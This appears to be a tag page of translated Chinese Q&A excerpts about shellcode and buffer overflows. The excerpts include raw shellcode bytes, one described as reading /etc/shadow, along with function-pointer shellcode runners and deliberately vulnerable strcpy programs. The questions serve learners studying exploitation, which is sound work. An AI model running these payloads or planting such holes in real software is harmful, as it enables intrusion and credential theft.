Tag: shellcode

Shellcode:执行2次execve()调用

我试图在汇编中编写shellcode。 我需要执行/usr/bin/killall命令和/usr/bin/wget命令。 我有两个命令在shellcode中使用execve()系统调用完美运行。 但是现在我想要将这两个结合起来,但这是不可能的,因为程序在执行第一个execve()调用时退出。 (来自execve()的手册页: execve()在成功时不返回)。 如何执行2次execve()调用? 或者是否有另一种方法可以从同一个shell代码中调用/usr/bin/killall和/usr/bin/wget ? 提前致谢并表示感谢!

如何从终端编译这个简单的shellcode c程序?

我试图使用ubuntu 12上的终端编译它: #include #include main() { /*declare argument array*/ char *args[2]; args[0] = “/bin/bash”; args[1] = NULL; execve(args[0], args, NULL); exit(0); } 我在http://www.securitytube.net/video/235上找到了这个例子,这也恰好是’Smashing the Stack for Fun and Profit’中使用的一个Aleph One。 我知道自那以后发生了很多变化。 在我使用的更简单的例子中: gcc -ggdb -mpreferred-stack-boundary = 2 -fno-stack-protector filename filename.c 其他时候我可能包括静态实用程序。 它一直在努力,直到我试图编译上面的C代码。 我从终端收到的消息是: ss@ss-laptop:~$ gcc -static -mpreferred-stack-boundary=2 -fno-stack-protector -o shell shell.c shell.c: In function ‘main’: […]

缓冲区溢出攻击格式

通常我们都会看到基本的缓冲区溢出格式,它有: – NOPs + shellcode + return_address 为什么我们不使用, NOPs + return_address + shellcode? 我们将返回地址指向shellcode的开头? 我猜这是因为如果漏洞位于main()中,我们可能会尝试在堆栈段外写入数据。 我对吗? 如果我,那是唯一的原因吗? 哦,是的,我不是指使用return-to-libc,ptrace等的其他类型的攻击; 我只是想知道为什么最基本的缓冲区溢出攻击以第一种方式展示而不是第二种方式。

Windows上的缓冲区溢出攻击导致访问冲突

我刚开始研究缓冲区溢出攻击是如何工作的,并尝试使用Visual C 2010模拟对Windows 7的攻击。缓冲区溢出攻击是非常人为的,它只是将返回地址覆盖到“缓冲区”局部变量的地址。 缓冲区包含shellcode字符串。 无论我是否在Visual Studio 2010 Debug中运行程序,程序都会跳转到shellcode并几乎开始执行它,但是我遇到了Access Violation错误,程序将不会继续执行shellcode。 为什么我收到此错误? 这是对Windows中缓冲区溢出的某种保护吗? 你如何让程序在缓冲区中执行shellcode? 编辑: 汉斯(回答)是对的。 这在Windows Internals 5th的安全章节中讨论,错误的原因是Microsoft的可执行空间保护的实现。 如果这个问题对任何人都有帮助,那么任何赞成票都会受到赞赏 void execute_my_shellcode() { char buffer[24]; memcpy(buffer, “\x6A\x21\xFF\x15\x40\x62\x40\x00\x83\xC4\x04\x6A\x0A\xFF\x15\x40\x62\x40\x00\x83\xC4\x04\xC3”, 24); printf(“current return address: %p\n”, *(int*)((char*)&buffer + 24 + 4)); *(int*)((char*)&buffer + 24 + 4) = (int)&buffer; printf(“return address is now : %p\n\n”, (int*)*(int*)((char*)&buffer + 24 + 4) ); […]

为什么将“extern puts”转换为函数指针“(void(*)(char *))&puts”?

我正在查看来自不安全编程的示例abo3.c ,并且我没有在下面的示例中讨论转换。 有人可以开导我吗? int main(int argv,char **argc) { extern system,puts; void (*fn)(char*)=(void(*)(char*))&system; char buf[256]; fn=(void(*)(char*))&puts; strcpy(buf,argc[1]); fn(argc[2]); exit(1); } 那么 – 系统和投放的铸造是什么? 他们都返回一个int所以为什么把它变成无效? 我非常感谢对整个计划的解释。 [编辑] 谢谢你们的投入! Jonathan Leffler ,实际上代码有“坏”的原因。 它应该是可利用的,溢出缓冲区和函数指针等.mishou.org有一篇关于如何利用上述代码的博客文章。 其中很多仍然在我头上。 bta ,我从上面的博客文章中得知,转换系统会以某种方式阻止链接器删除它。 有一点不能立即明确的是系统和放置地址都写在同一个位置,我想这可能是gera所说的“因此链接器不会删除它”。 虽然我们讨论的是函数指针的主题,但现在我想问一个后续问题,即语法更清晰。 我正在使用函数指针查看一些更高级的示例,偶然发现这个令人厌恶的例子,取自托管shellcode的站点。 #include char shellcode [] =“some shellcode”; int main(void) { fprintf(stdout,“长度:%d \ n”,strlen(shellcode)); (*(void(*)())shellcode)(); } 所以数组被强制转换为返回void的函数,引用并调用? 这看起来很讨厌 – 所以上面代码的目的是什么? [/编辑]

无法使用ld链接目标文件 – Mac OS X.

/********* exit.asm */ [SECTION .text] global _start _start: xor eax, eax xor ebx, ebx mov al, 1 int 0x80 //**************************** 首先,我使用nasm -f elf exit.asm生成目标文件。 然后我在我的Mac OS X 10.7上运行了以下“ld”命令,它有这些输出和警告,我试图在我的32位linux机器上运行它,一切都很顺利,请你解释为什么不会链接器在我的Mac上运行? 谢谢! Alfred says: ld -o exiter exit.o ld: warning: -arch not specified ld: warning: -macosx_version_min not specified, assuming 10.7 ld: warning: ignoring file exit.o, file was built […]

Shellcode没有运行

我试图通过C程序运行很多shell代码来测试它们。 这里是 #include #include unsigned char code[] = “shell here”; main() { printf(“Shellcode Length: %d\n”, strlen(code)); int (*ret)() = (int(*)())code; ret(); } 这是shellcode的例子 “\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb”\ “\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89″\ “\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd”\ “\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f”\ “\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42” (\ bin \ cat \ etc \ shadow)运行后 gcc sctest.c -o out ./out 它只是给我shellcode长度和分段错误我已经尝试了很多不同的shellcode但是一切只是给了我段错误我的dmesg | tail -1 [18440.783383] test [8768]:segfault at 8049700 ip 08049700 sp bffff2ec error […]

C缓冲区中的asm shellcode – 序言

我尝试在C中的缓冲区中构建一个函数,我可以使用gdb进行翻译 push rbp mov rbp,rsp (…) leave ret 至 0x55 0x48 0x89 0xe5 (…) 0xc9 0xc3 所以我写了一个C代码: int main() { char buffer[]={0x55,0x48,0x89,0xe5,0xc9,0xc3}; void (*j)(void)=buffer; j(); } 但是我的程序似乎在故障“push rbp”(缓冲区中的0x55)崩溃了。你知道为什么吗?

从.txt文件中读取并执行Shellcode

从C总线测试Shellcode错误10 上面是我之前提出的问题,当shell代码在源代码中时,它涉及从ac程序中清除shellcode。 它由Carl Norum解决,并且是由于记忆保护。 我有一个不同的问题但是很相似。 我没有将shell代码放在同一个文件中,而是想从.txt文件中读取shell代码并执行它。 下面我尝试将一段内存标记为PROT_EXEC,并将.txt文件的内容读入其中并执行。 但是它不起作用,我得到了同样的错误,KERN_PROTECTION_FAILURE,我尝试使用mprotect和mmap将一段内存标记为PROT_EXEC。 #include #include #include #include int (*ret)(); unsigned char* buf; int main() { FILE* file; file = fopen(“text.txt”, “rb”); fseek(file, 0, SEEK_END); unsigned int len = ftell(file); fseek(file, 0, SEEK_SET); buf = valloc(len); fread(buf, 1, len, file); fclose(file); mprotect(buf, len, PROT_EXEC); // I also tried mmap, but same […]

作业 – 无法利用缓冲区溢出

我试图学习在Backtrack Linux上利用简单的缓冲区流技术。 这是我的C程序 #include #include int main(int argc, char **argv) { char buffer[500]; if(argc==2) { strcpy(buffer, argv[1]); //vulnerable function } return 0; } 这是我正在使用的shellcode,它对应于simple /bin/ls \ x31 \ xc0 \ x83 \ xec \ x01 \ x88 \ x04 \ x24 \ x68 \ x6e \ x2f \ x6c \ x73 \ x66 \ x68 […]